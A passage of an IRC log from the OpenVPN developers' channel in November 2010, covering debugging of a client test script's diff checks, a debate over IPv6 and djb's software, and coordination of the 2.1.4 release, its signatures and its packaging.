mattock: ok, so it *is* reading the tables, but openvpn isn't ifconfig/route add'ing anythign. openvpn.log next :-) 11:09 <@mattock> cron2: I'll put the files somewhere where you can download them if you want to take a look 11:10 <@cron2> mattock: yes, please (but not compressed or anything, just "plain" - less handling, just "klick, look comment" :-) ) 11:16 <@cron2> mattock: ah 11:16 <@cron2> the problem is *not* openvpn, but "something in the script" 11:16 <@cron2> ifconfig-pre is "before openvpn is started" and "ifconfig-post" is "after it has terminated" - those MUST be identical, otherwise openvpn has not cleaned up properly 11:17 <@cron2> there is another file, "ifconfig_route.txt" without -<something> suffix, and that shows that the tun0 is configured correctly 11:17 <@cron2> now the diff is done between ifconfig_route-pre.txt and ifconfig_route.txt - and should show some differences. If the files are different but the diff is 0, this smells like "the diff binary was not found" or so 11:18 -!- dazo is now known as dazo_afk 11:23 <@cron2> mattock: could you copy-paste the output of "make check" for me? 12:47 < ecrist> ok, now I actually have google crawling fixed. 12:47 < ecrist> seems with phpbb, bots need to be set up as users with a proper user-agent string. 12:51 < ecrist> mattock: http://img.skitch.com/20101105-teiiyd9nwjcerh5hq2jiqhwb7w.png 13:08 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:08 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:23 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 14:16 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:58 <@raidz> http://micro.openvpn.org/?view=./Andrew/screenshots/screenshot58.png <<-- Are you guys seeing these blank tables in your browser? 15:58 <@vpnHelper> Title: micro - [http://micro.openvpn.org\] (at micro.openvpn.org) 15:59 <@cron2> there's big white boxes between the 2.1.3 table and the 2.0.9 block 15:59 <@raidz> Ok, I will let mattock know. 16:00 <@cron2> ah, the question is "if we click on the real web site, does it look the same?" 16:00 <@raidz> exactly :-) 16:00 <@cron2> lemme check 16:00 <@cron2> yes 16:00 <@cron2> chromium on linux here 16:00 <@raidz> Yeah looks that way for me in ie 9 on win 7 and chrome on windows server 08 r2 16:01 < krzie> Files in [http://micro.openvpn.org\] 16:01 < krzie> the trailing slash is wrong 16:01 <@raidz> oh dawd, I knew I should have posted that link 16:01 <@raidz> oh yeah I know 16:01 <@cron2> raidz: while you're around: how is adding IPv6 to the community server proceeding? 16:02 < krzie> http://cr.yp.to/djbdns/ipv6mess.html <--good read re ipv6 16:02 <@cron2> krzie: djb is so full of religion, not worth reading 16:03 < krzie> heh 16:03 <@cron2> "they did not like my religion, so now I'll boycott theirs!" 16:03 < krzie> counting out his doc before reading it sounds more religious than the doc does 16:03 <@raidz> cron2: Actually I am not sure. I know there is build coming soon, I think Samuli/mattock would have more of an idea on that than me. Or jamesyonan 16:03 <@cron2> krzie: I have read that document a few years ago :-) 16:03 < krzie> his points are not only valid, but are why i dont use ipv6 16:04 <@cron2> raidz: huh? I thought you were tasked with making the server IPv6 capable (the web server, not the community) 16:04 <@raidz> oooohhh 16:04 <@cron2> krzie: his points are completely moot. There is only "stick to IPv4 and suffer" or "go to IPv6" - there is nothing else. 16:04 <@raidz> I thought you were taling about ipv6 implementation in openvpn, lol 16:04 <@cron2> raidz: that bit is taken care of by jjo and me :-) 16:05 < krzie> his point is that ipv6 was made as an alternative to ipv4, not an extension, so you have to config more than you should 16:05 <@raidz> Yeah I was gonna say, you are one of the developers here, I am that last one to know wbaout that stuff :-p 16:05 <@raidz> Well We have a block (a huge on at that) of ipv6 ip's. I just need to look into how softlayer is doing this. 16:05 <@cron2> krzie: there is NO WAY to make IPv4 a compatible extention to IPv6 without changing all implementations anyway, and then you can just do it right 16:06 <@cron2> krzie: his claim "before clients or servers can safely deployed on public IPv6 addresses, every <theotherthing> needs to do it as well" is complete and utter bullshit 16:07 <@cron2> we run www.space.net with IPv6 (plus IPv4, of course) since about 8 years, and no problems whatsoever. My home network has IPv6 on all machines since some 5 years, and I talk to IPv4-only servers all day. No problems whatsoever 16:07 < krzie> right, with extra work on your end as a user needed to make that happen 16:08 <@cron2> krzie: zilch. Ship a DSL end user ("99% of users out there") an IPv6-enabled router which will do network autoconfiguration (DHCP-PD from the ISP, RA on the LAN) and Win7 and Vista and MacOS and all recent Linuxes will just perfectly use IPv6, without the user ever knowing 16:09 <@cron2> we are running into a HUGE problem next year because people have refused IPv6 for so long that we WILL run into the "no more IPv4" crash now 16:10 * raidz quivers at the thought of ipv4 depletion 16:11 < krzie> been refused that long... they must have implimented it fantastic 16:11 <@cron2> djb had a good phase, when qmail was actively developed and was one of the better MTAs out there - then he just stopped accepting reality. Even without IPv6, qmail is not suitable for running on a public MTA anymore (without massive patches, that is), but djb doesn't care 16:12 <@cron2> krzie: no, and that's part of the problems. There's rough edges all over the place, because nobody cared to fix them IN TIME. 16:12 < krzie> only really need 1 patch for qmail 16:13 <@cron2> krzie: well, one can always fold all patches together into one huge one... :-) 16:13 < krzie> aye ;] 16:13 <@cron2> half of the available qmail patches conflict with the other half, so you can only cleanly apply certain combinations 16:13 < krzie> jms1 manages a nice one 16:14 * cron2 is no longer installing qmail on systems, and when an existing system dies, it's replaced by something else 16:15 < krzie> i recently setup my first postfix install... still dont understand why so many people get so passionate about it 16:15 < krzie> they are both good imo 16:15 < krzie> so many people on both sides of that argument, and im looking at both sides like "whats the big deal!?" 16:15 <@cron2> the evolution of qmail shows the mindset that annoys me about djb - great start, publish, forget 16:15 <@cron2> "I have more interesting things to do" 16:16 < krzie> only part of that that bothers me is how long it took him to put them in public domain 16:16 <@cron2> yeah, the license crap - "I don't care, but you are not allowed to distribute a patched version" 16:17 < krzie> ya, that was lame 16:17 < krzie> i see no reason why he shouldnt be free to say "i dont have time for this anymore" but he should at least let those who do take over... he did fix this, but WAY later than he should have 16:17 <@cron2> and so is this article - yes, there's very valid points in it, but plain refusal "because I don't like some aspects, but I have no better proposal either" is not going to help anyone either 16:18 < krzie> there was a proposal in that article 16:18 < krzie> i rather clear one 16:18 < krzie> a* 16:19 <@cron2> re-reading... can't see the proposal right now 16:20 <@cron2> oh yeah, solution "do all these computers really need to be on the Internet?". 16:20 <@cron2> very good 16:20 <@cron2> tell people that they can't run peer-to-peer software or voip because "your computer doesn't have to be on the Internet" 16:21 < krzie> ehh? 16:22 <@cron2> first paragraph :-) - that's the first proposal I saw in there 16:22 <@cron2> the rest seems all to be "they are all FAIL" 16:22 < krzie> Answer: We go through every place that 4-byte IPv4 addresses appear, and allow 16-byte IPv6 addresses in the same place. Several illustrative examples: 16:23 <@cron2> well, that's what you have to do to port software, and he refuses to do so 16:23 < krzie> the refusal is re: qmail again? 16:23 <@cron2> none of his software does IPv6 16:23 <@cron2> neither tcpserver nor qmail nor djbdns 16:24 < krzie> qmail is public domain, someone else can do it, not sure bout those other 2 but i think they are 16:24 <@cron2> this text is soooo full of shit 16:24 <@cron2> Unfortunately, instead of simply allowing 16-byte A records, people introduced new ``AAAA records'' ... 16:24 <@cron2> well, there is a standard, and that says "the record of type <x> is 32 bit long" 16:24 <@cron2> you can't just "make a 16 byte A record" without breaking on-the-wire DNS 16:25 <@cron2> ... and if you introduce a new record type to handle 16-byte addresses, well, it won't be an A record 16:26 <@cron2> raidz: regarding your comment about IPv4 depletion - this is why I'm so annoying and repetitive about adding IPv6 to things. To avoid the big bang. 16:28 <@cron2> there's a few more people out there getting prepared, like this T-Mobile USA guy who is successfully running an IPv6-only trial to mobile devices in their 3G network 16:28 <@cron2> big news sites in germany and .no started putting AAAA records on their web servers 16:29 <@cron2> krzie: interesting enough, most everything that djb wrote in the "Teaching computers to talk to IPv6 addresses" has been done in the 7 years since he wrote that... 16:33 < krzie> thats a good thing, isnt it? 16:34 <@cron2> yes, sure. No reasons to not-deploy IPv6 anymore. 16:36 <@raidz> cron2: understood :-D I will see what we can do, things have been very hectic at the office over the past few months but I will try and fit that in. I will get in touch with Samuli about this as well 16:37 <@cron2> raidz: thanks. If anything is unclear or needs testing, just let me know. 16:37 <@raidz> cron2: sounds good. You have my e-mail, right? I am not always around here. 16:39 <@cron2> raidz: we'll find you :) 16:39 <@patelx> cron2: you think you can help find the bed intruder too? 16:39 <@patelx> :P 16:39 <@cron2> patelx: the what? there's intruders in my bed? scary! 16:39 <@raidz> hehe 16:39 <@patelx> jokes aside, let me see what we can do about ipv6 16:40 <@cron2> cool :) 16:40 * cron2 goes to bed now (talking about bed intruders... :) ) - long week, and the small one will be up early... 16:40 <@raidz> cron2: patelx is referring to this: http://www.youtube.com/watch?v=EzNhaLUT520 :-p 16:40 <@vpnHelper> Title: YouTube - (STEREO SOUND) Antoine Dodson warns a PERP on LIVE TV! (at www.youtube.com) 16:41 <@cron2> will watch this tomorrow 16:41 <@cron2> good night :) 16:41 <@raidz> hehe 16:41 <@raidz> seeya 16:41 <@patelx> bye cron2 16:45 < krzie> nite 17:02 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 17:53 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 276 seconds] 19:07 -!- chantra_afk [~chantra@unaffiliated/chantra] has quit [Ping timeout: 240 seconds] 19:07 -!- chantra_afk [~chantra@unaffiliated/chantra] has joined #openvpn-devel --- Day changed Sat Nov 06 2010 01:14 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 01:14 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 01:14 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 01:34 -!- krzy [krzee@hemp.ircpimps.org] has joined #openvpn-devel 01:35 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 02:44 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 03:38 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:55 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 09:03 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 11:02 -!- krzy [krzee@hemp.ircpimps.org] has quit [Quit: Leaving] 11:02 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 11:02 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 11:02 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 11:04 <@mattock> raidz: regarding the empty tables on the downloads page... I see them on Firefox 3.6.12, but _don't_ see them on the development server 11:04 <@mattock> have they been fixed there already? 11:05 < krzie> whats that link again? ill check on opera / safari 11:05 <@mattock> http://openvpn.net/index.php/open-source/downloads.html 11:05 <@vpnHelper> Title: Downloads (at openvpn.net) 11:06 <@mattock> an empty "table" below every table 11:06 <@mattock> looks like a Joomla bug 11:06 <@mattock> or "feature" :) 11:06 < krzie> its there in opera 11:07 <@mattock> yeah, I think it's there on any browser 11:07 < krzie> safari as well 11:07 < krzie> think so too 11:07 <@mattock> but it does not show up on the development server, so pretty hard to fix :) 11:07 < krzie> find whats different 11:09 < krzie> you say that makes it hard to fix, i say you already found the fix... just havnt figured out what it was ;] 11:21 < ecrist> it wasn't there the other day 11:26 <@cron2> mattock: something is extremely weird on your test client. It seems as if the "diff" and "grep" commands just do not work 11:26 <@cron2> or if the shell is mishandling my conditionals 11:28 <@cron2> mattock: what shell is used there? 11:28 <@cron2> (first line, #!/bin/<somesh>) 11:30 <@mattock> sorry, got to go, in hurry to a party 11:30 <@cron2> enjoy your evening :) 11:30 <@mattock> thanks! 11:55 < ecrist> nice 11:55 < ecrist> http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.txt 12:29 < ecrist> ping mattock 12:53 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:53 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Sun Nov 07 2010 00:58 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:57 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 04:50 <@mattock> cron2: #!/bin/sh is used by t_client.sh... that links to /bin/bash 04:50 <@mattock> ecrist: pong 04:55 <@cron2> mattock: very VERY weird this 05:01 <@mattock> should bash work ok? 05:01 <@cron2> yes. I think the only shell that might be problematic is csh/tsch 05:01 <@cron2> tcsh :) 05:02 <@mattock> :) 05:02 <@cron2> could you try putting #!/bin/bash there, for the sake of experiment? 05:02 <@mattock> ok 05:03 <@cron2> and another test: if you go into the log directory, and do a diff on the files, and "echo $?" afterwards 05:03 <@cron2> that is: 05:03 <@mattock> yeah, to see the return value of the diff 05:03 <@cron2> diff 1:ifconfig_route_pre.txt 1:ifconfig_route.txt ; echo $? 05:03 <@cron2> and 05:03 <@cron2> diff 1:ifconfig_route_pre.txt 1:ifconfig_route_post.txt ; echo $? 05:04 <@mattock> returns zero 05:04 <@cron2> first one should return "1", second should return "0" 05:04 <@mattock> both with and without quotes 05:04 <@cron2> in both cases? 05:05 <@mattock> oh, sorry 05:05 <@mattock> did the first one only 05:05 <@mattock> both return 0 05:05 <@cron2> my man page says "Exit status is 0 if inputs are the same, 1 if different" 05:07 <@cron2> do you get any output for the first case? the files are certainly different (one can see this on the web server, size is different) so "diff" should show that - and return "1" then 05:07 <@mattock> every 1:ifconfig_route_*.txt file is the same, same checksums 05:08 <@cron2> there's an "1:ifconfig_route.txt" *without "_<something>". 05:08 <@mattock> I'll check what it says about yesterday's runyesterday's run 05:08 <@cron2> that's what we want to diff against :) 05:08 < krzie> MacBook-Pro:~ krzee$ echo testing >test 05:08 < krzie> MacBook-Pro:~ krzee$ cp test test2 05:08 < krzie> MacBook-Pro:~ krzee$ diff test test2 && echo yes || echo no 05:08 < krzie> yes 05:08 < krzie> MacBook-Pro:~ krzee$ echo testing2 > test2 05:08 < krzie> MacBook-Pro:~ krzee$ diff test test2 && echo yes || echo no 05:08 < krzie> 1c1 05:08 < krzie> < testing 05:08 < krzie> --- 05:08 < krzie> > testing2 05:08 < krzie> no 05:08 < krzie> MacBook-Pro:~ krzee$ 05:08 <@cron2> krzie: yes, that's how things should behave, but for some weird reason it fails for mattock 05:09 <@cron2> mattock: in the web server files I can see that they are different 05:09 <@cron2> 1:ifconfig_route.txt05-Nov-2010 18:121.2K 05:09 <@mattock> cron2: could be, yes 05:09 <@cron2> 1:ifconfig_route_pre.txt05-Nov-2010 18:12649 05:09 <@cron2> different size (even if cut'n paste messed that up) 05:12 < krzie> step through with well placed set -x set +x in the script 05:12 < krzie> or is this the behavior by hand as well? 05:13 <@mattock> I'll do a clean run, another openvpn instance was running 05:16 <@cron2> mattock: other instances should not matter 05:17 <@mattock> cron2: for some reason the openvpn server was not up 05:17 <@cron2> these files *are* different, the question is "why doesn't diff report it?"+ 05:17 <@cron2> now if the server is down, it's permitted to fail :) 05:17 <@mattock> I wouldn't worry about that diff... I assumed nothing had changed between the runs and used newer log files 05:23 <@mattock> ok, openvpn server config is also somewhat messed up... this will take some time to fix 05:24 <@mattock> I got to do some university stuff now, but will focus on this next tuesday... have just scratched the surface, basically 05:24 <@mattock> cron2: just let me know if you want access to the openvpn server and client 05:34 <@cron2> mattock: fairly busy days coming up, so let's just check tuesday/wednesday 05:37 <@mattock> ok, sounds good 05:38 <@mattock> I'm going to very busy too until Christmas... too much mandatory studies + work + everything else going on 15:28 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 276 seconds] 18:44 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Mon Nov 08 2010 01:11 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:11 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:04 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 264 seconds] 02:26 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:49 -!- dazo_afk is now known as dazo 05:44 -!- m-a [~mandree@131.234.19.44] has joined #openvpn-devel 05:58 -!- m-a [~mandree@131.234.19.44] has left #openvpn-devel ["Leaving."] 08:42 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 10:06 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 10:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:37 -!- m-a [~mandree@131.234.19.44] has joined #openvpn-devel 10:50 -!- m-a [~mandree@131.234.19.44] has left #openvpn-devel ["Leaving."] 11:04 <@mattock> dazo: are you there? 11:04 <@dazo> mattock: I am :) 11:05 <@mattock> ok, good! 11:05 <@dazo> heh ... have james chimed in on the 2.1.4 tarball? 11:05 <@mattock> I'm sending mail to James, asking him to join the channel so that we can get the 2.1.4 release out 11:05 <@dazo> yeah! 11:05 <@mattock> not yet 11:05 <@dazo> :( 11:07 <@dazo> brb ... 5min 11:09 <@mattock> ok, mail sent 11:16 * dazo is back 11:17 <@dazo> mattock: have you received any feedback to your mail? 11:17 <@mattock> nothing related to the Debian/Ubuntu packages 11:17 <@mattock> good or bad 11:18 <@dazo> hmm 11:18 <@dazo> that's a pity 11:20 <@raidz> mattock: regarding empty tables, I will have Frank look at it 11:21 <@mattock> raidz: thanks! 11:22 <@mattock> raidz: if we manage to make 2.1.4 release today, do you want to make the Twitter announcement? 11:32 <@raidz> Sure 11:32 <@raidz> oh, and webmaster@openvpn.net is Frank 11:36 <@mattock> ok 11:41 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Read error: No route to host] 11:42 -!- mattock1 [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 11:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:08 <@dazo> mattock1: I need to run soon ... is there some uncertainties with the 2.1.4? 12:09 <@mattock1> dazo: yeah, I got to go too... do you have the openvpn-2.1.4.zip available somewhere? 12:09 <@mattock1> as James is not yet here, I wouldn't count on making the release today 12:09 <@dazo> yeah, it should be on the URL I mailed you ... just replace .tar.gz with .zip 12:09 <@mattock1> ok, excellent! 12:10 <@dazo> if James approves ... it should be for him to just build that code, sign it and the source balls ... and we're set to go 12:10 <@mattock1> yep 12:10 <@mattock1> I don't think it makes sense to sign the *.deb packages, as they may change due to packaging issues etc 12:11 <@dazo> yeah ... that signing will be done by debian people anyway when agi pushes stuff for updates .... even though, I believe agi already patched 2.1.3 with our fix, so they probably won't do that update 12:26 <@mattock1> yep 12:28 < agi> re 12:29 < agi> yes, I patched 2.1.3 and that will be released with Debian Squeeze 12:29 <@mattock1> agi: excellent! 12:29 <@mattock1> btw. have had a look at my Debian packages? Are they any good? :) 12:29 <@mattock1> -> eat 12:30 < agi> mattock1: yes, they look good. I just gave them a quick look, and seem perfectly fine 12:31 < agi> I wish I had more time to help you with that 12:31 <@mattock1> they're almost entirely copied from your packages (directly, or through Ubuntu developers), so I added the XSBC-ORIGINAL-MAINTAINER field with your name+email in it 12:31 < agi> but I don't find spare time anymore (I can hardly cope with my usual Debian stuff) 12:32 < agi> I'll have lots of work in the next 2 weeks, but after that we'll see if we can push those package to debian experimental 12:32 < agi> that way they'll have a broader audience 12:33 <@mattock1> hmm, yes... perhaps the "allmerged" snapshots would make most sense as "experimental" packages 12:33 < agi> right 12:34 <@mattock1> the "Debian experimental" packages would only require minor changes to the automatically generated packages, e.g. perhaps a proper changelog 12:35 < agi> yes 12:35 < agi> but that's easy to automate 12:35 < agi> plust I'll have to sign them 12:36 -!- dazo is now known as dazo_afk 13:33 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:39 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:51 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 14:42 <@raidz> mattock: Frank fixed the blank table issue on the Community Downloads page 14:42 <@mattock1> raidz: what was causing it? 14:44 <@raidz> Frank said it had something to do with the editor that was being used. Not really sure. 14:52 <@mattock1> ok 14:53 <@mattock1> hi jamesyonan! 14:53 <@jamesyonan> hi 14:54 <@mattock1> the packages dazo created are these: 14:54 <@mattock1> http://web.sommerseths.net/OpenVPN/openvpn-2.1.4.tar.gz 14:54 <@mattock1> http://web.sommerseths.net/OpenVPN/openvpn-2.1.4.zip 14:55 <@jamesyonan> ok, I'll try to build it now for Windows 14:55 <@mattock1> those would need GPG signatures... don't think signing the *.deb packages makes sense, as they may change often (e.g. packaging files) 14:55 <@mattock1> excellent! 14:56 <@mattock1> I'll have to get to bed now (early wakeup), but it'd be great if you could sign those and put the signatures somewhere I can get them 14:56 <@mattock1> and while you're at it, perhaps you could sign the openvpn-2.1.3 windows 2000 installer, too... people have been asking about that 14:56 <@mattock1> meaning this: http://secure.openvpn.net/win/openvpn-2.1.3-install-win2k.exe 14:57 <@mattock1> I hope we can make the release tomorrow evening my time 14:59 <@raidz> mattock1: Send me an e-mail when you are ready for me to make the announcement on twitter. 15:00 <@mattock1> raidz: will do 15:00 <@mattock1> btw. is account.openvpn.net still alive? 15:00 <@mattock1> because I need to upgrade pwm soon (within a month) and would need a VM to test it on 15:00 <@jamesyonan> mattock1: re: win2k installer, do you mean windows signing or GPG signing? 15:00 <@mattock1> GPG signing 15:01 <@mattock1> so that it's not the only installer without a GPG signature, no other reason I guess 15:01 <@mattock1> got to go now, bye! 18:15 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 255 seconds] 18:15 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 18:52 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 19:21 < ecrist> raidz: that twitter post doesn't make sense... 19:50 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:03 <@raidz> ecrist: that was patelx I will talk to him about that 21:25 < ecrist> sweet 21:25 < ecrist> maybe mention Access Server in that context, or not 21:26 < ecrist> honestly, I don't even know whether it's for Access Server or the community software. 23:47 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Tue Nov 09 2010 00:02 -!- mattock1 [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 01:32 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 01:32 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:32 -!- mode/#openvpn-devel [+o cron2] by ChanServ 02:18 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:35 -!- dazo_afk is now known as dazo 03:24 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:12 <@mattock> we now got 2.1.4 with signatures, Windows installer and all... I'll push them to our file server and update openvpn.net today 05:12 <@cron2> cool 05:32 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:43 < fkr> woooy 05:43 < fkr> wooot 05:50 <@dazo> \o/ that's awesome! 06:37 <@dazo> mattock: I'll push the git branch out in the evening then 06:59 <@dazo> agi: cool! thx! 07:00 <@dazo> agi: could you please give me a few lines with installation instructions? 07:54 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 07:54 -!- mattock1 [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 07:54 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 08:00 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 08:53 -!- m-a [~mandree@131.234.19.44] has joined #openvpn-devel 08:54 -!- m-a [~mandree@131.234.19.44] has left #openvpn-devel ["Leaving."] 09:00 <@mattock1> somebody with more precise knowledge could perhaps rewrite/modify this FAQ entry: http://openvpn.net/index.php/open-source/faq/77-server/287-is-ipv6-support-plannedin-the-works.html 09:00 <@vpnHelper> Title: Is IPv6 support planned/in the works? (at openvpn.net) 09:01 <@mattock1> preferably so that the entry does not become obsolete in a few months :) 09:01 <@mattock1> anyways, 2.1.4 release is now added to the Downloads page, but it's not yet live 09:01 <@cron2> how do I update the FAQ? 09:01 < krzie> most info would be at http://www.greenie.net/ipv6/openvpn.html 09:01 <@vpnHelper> Title: Gert Döring - IPv6 Payload Patch for OpenVPN (at www.greenie.net) 09:02 <@mattock1> cron2: you can just copy-and-paste the text and modify it... I can then edit the page for you 09:02 <@cron2> mattock1: will do. some time this week. 09:02 <@mattock1> cron2: ok, excellent! it's a bit annoying to have such obsolete information in the official FAQ 09:03 <@mattock1> I'd have to take some time to arrange the documentation migration procedure (wiki -> official site) to make these things smoother 09:23 <@mattock1> I'm wondering if the last section ("LZO RPM Packages") on the download page should be removed entirely... seems obsolete 09:24 <@mattock1> also, I think we could safely remove the "historical" releases, e.g. 1.6.0 and 2.0.9 to make the page cleaner 09:32 <@dazo> mattock1: historical^W Ancient releases like 1.6 can be removed ... 2.0 I'm not so sure about, I would like to get it removed ... but if they are downloadable from a file dir somewhere anyway, then we can drop it 09:32 <@dazo> (there are some embedded stuff which still uses 2.0 stuff ... as 2.1 might be too big for them) 09:36 <@dazo> mattock1: the LZO stuff ... you can remove the links to Dag Wieers and SuSE distro sites ... but the other generic link to the upstream LZO stuff is good to have 09:36 <@dazo> Just rename "LZO RPM Packages" to "LZO Compression Library" or something like that 09:48 -!- d457k [~heiko@vpn.astaro.de] has quit [Remote host closed the connection] 09:49 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 09:49 -!- mode/#openvpn-devel [+o d457k] by ChanServ 10:15 <@mattock1> dazo: the page should probably then mention openssl, too 10:17 <@dazo> mattock1: yeah, good point 10:17 <@dazo> Even though, that's more known ... liblzo is not so well known 11:47 < ecrist> did the installers get signed? 11:47 < ecrist> packages/installers, rather 11:47 < ecrist> mattock1: ^^^ 11:54 < ecrist> ping mattock 11:54 < ecrist> can we distribute the source as a .xz, as well? 11:55 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:55 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:15 <@mattock1> ecrist: signing, yes 12:15 <@mattock1> xz? 12:21 -!- mattock1 [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 12:23 < ecrist> bah 12:24 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 12:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:24 < ecrist> wb 12:26 <@mattock> btw. the win2k installer is also now there... for 2.1.3 release 12:30 < ecrist> did you look up xz? 12:45 <@mattock> ecrist: not yet 12:46 <@raidz> http://twitter.com/openvpn/status/2068614064640000 12:46 <@vpnHelper> Title: Twitter / OpenVPN Technologies: The OpenVPN Community Proj ... (at twitter.com) 12:48 < ecrist> FreeBSD will publish the 2.1.4 release in an hour or so. 12:51 <@raidz> Googlebot is doing a good job at indexing us now :-) 12:51 <@raidz> (the forums) 13:04 <@mattock> oh, finally got the mail out... I always start "polishing" my mails and it takes a while :) 13:05 <@mattock> and nobody notices anything :D 13:05 <@dazo> heh :) 13:05 <@mattock> polishing, I mean 13:05 <@dazo> I'll get the git tree updated with a released-2.1 branch in a little while 13:05 * dazo need to fetch some dinner and head home 13:08 -!- dazo is now known as dazo_afk 13:08 < ecrist> mattock: seems freebsd is encouraging distribution of source with XZ compression now. if you don't have the capability of generating those tarballs, I can do so and send it your way. 13:08 < ecrist> I'm going to start offering both tar.gz as well as .xz and .zip for the weekly snapshots. 13:08 <@mattock> ecrist: I'll take a quick look at xz 13:10 <@mattock> ecrist: xz is no problems, it's included in "xz-utils" package 13:10 <@mattock> did not realize it was successor/continuation of LZMA 13:11 <@mattock> do you want a reliable (=static) URL for a xz source package? 13:11 <@mattock> for ports, I mean 13:12 <@mattock> raidz: did you announce the release on #openvpn? 13:12 <@raidz> mattock: no 13:12 <@mattock> ok, I'll do it 13:14 <@mattock> now lets wait and see if there's something wrong with the packages... 13:24 < ecrist> yes, mattock thanks! 13:25 <@mattock> ok, -> todo :) 13:33 < ecrist> timeline, mattock? 13:33 <@mattock> oh, in a hurry? 13:34 < ecrist> it'll work as is, but it'd be nice to get it done while it's under our thumbs. 13:34 <@cron2> mattock: congrats 13:35 < ecrist> mattock: you have auth to update the channel topic... 13:35 < ecrist> in #openvpn, I mean. 13:35 <@mattock> oh, I would only have to know how to do it :D 13:35 < ecrist> /topic 13:35 < ecrist> to pull the current topic 13:36 < ecrist> /topic <new topic goes here> 13:36 < ecrist> in reality, we don't lock the topic, any one at all could change it at any time. :) 13:39 <@mattock> hmm, I can't copy and paste the existing topic from pidgin... annoying 13:43 <@mattock> ecrist: would this work: http://swupdate.openvpn.net/community/releases/openvpn-2.1.4.tar.xz 13:49 < ecrist> I think so, yeah 13:49 < ecrist> mattock: is that posted/signed now? 13:59 <@mattock> it's there, yes 13:59 <@mattock> but not signed (with GPG) unless there's a need for it 13:59 < fkr> mmmh 14:00 < fkr> did the location of the distfile for openvpn change? 14:00 <@mattock> fkr: what was the earlier location? 14:00 < fkr> http://openvpn.net/release/ 14:00 <@vpnHelper> Title: Index of /release (at openvpn.net) 14:01 < fkr> http://www.openbsd.org/cgi-bin/cvsweb/ports/net/openvpn/Makefile?rev=1.33;content-type=text%2Fplain 14:01 < ecrist> mattock: OK that it's not signed for now, could that be done, please? 14:01 < fkr> (thats how I noticed) 14:01 <@mattock> fkr: yes, all recent community releases (2.2-beta3 and later) are located in http://swupdate.openvpn.net/community/releases 14:02 <@mattock> ecrist: ok, we need jamesyonan for that 14:02 < ecrist> ok 14:02 <@mattock> jamesyonan: could you sign the this file, too: http://swupdate.openvpn.net/community/releases/openvpn-2.1.4.tar.xz 14:02 < fkr> mattock: so thats the location we should use? 14:02 <@mattock> it's for freebsd 